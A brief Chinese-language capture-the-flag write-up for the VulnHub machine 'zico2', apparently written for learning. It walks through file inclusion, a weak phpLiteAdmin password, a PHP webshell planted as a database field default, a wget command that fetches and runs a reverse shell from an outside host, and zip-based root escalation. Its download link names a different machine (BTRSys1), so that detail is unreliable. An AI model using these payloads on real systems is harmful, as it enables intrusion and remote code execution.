zico2: 1
项目地址:https://download.vulnhub.com/btrsys/BTRSys1.rar
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

本地文件包含
page
查看 80 端口发现有使用文件包含函数

尝试读取 /etc/passwd 文件成功

弱口令
phpLiteAdmin
扫描目录发现另一个后台 /dbadmin/

弱口令 admin 登录成功

RCE
phpLiteAdmin
在 PhpLiteAdmin 主界面找到“Create new database”输入框,输入数据库名 hack.php,点击 Create
PhpLiteAdmin 会将数据库文件保存在 $directory 配置的目录中(如 /usr/databases/),文件名使用用户输入的内容。如果以 .php 结尾,该文件将可被 Web 服务器以 PHP 解析

在“Create new table”输入框中输入表名(例如 shell),字段数量填 1,点击 Go

在字段配置页面:
- Field Name:随意填写,如
cmd - Field Type:选择
TEXT - Default Value:填入 PHP 代码,例如
<?php system($_POST['cmd']); ?>

创建成功
SQLite 数据库本质上是一个二进制文件,但插入的文本字段中如果包含 <?php ... ?> 标签,当该 .php 文件被直接访问或被包含时,PHP 引擎会解析执行其中的代码

这里我直接上传的是反弹 Shell
1 | system("wget http://192.168.110.128:8989/reverseshell.php -O /tmp/shell.php; php /tmp/shell.php"); |

提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
敏感信息泄露
用户 zico 家目录可读,进入后发现有个 to_do.txt 文件,读取其内容应该是提示

最后翻找到 wordpress/wp-config.php 中配置的账号密码

使用 SSH 登录成功

zip –unzip-command
查看权限发现 tar 和 zip 可用

zip -T --unzip-command="<command>" archive.zip file 会在测试压缩包时执行 <command>,并将 <command> 作为 shell 命令调用
如果 zip 以 root 权限运行,那么 <command> 也将以 root 权限执行
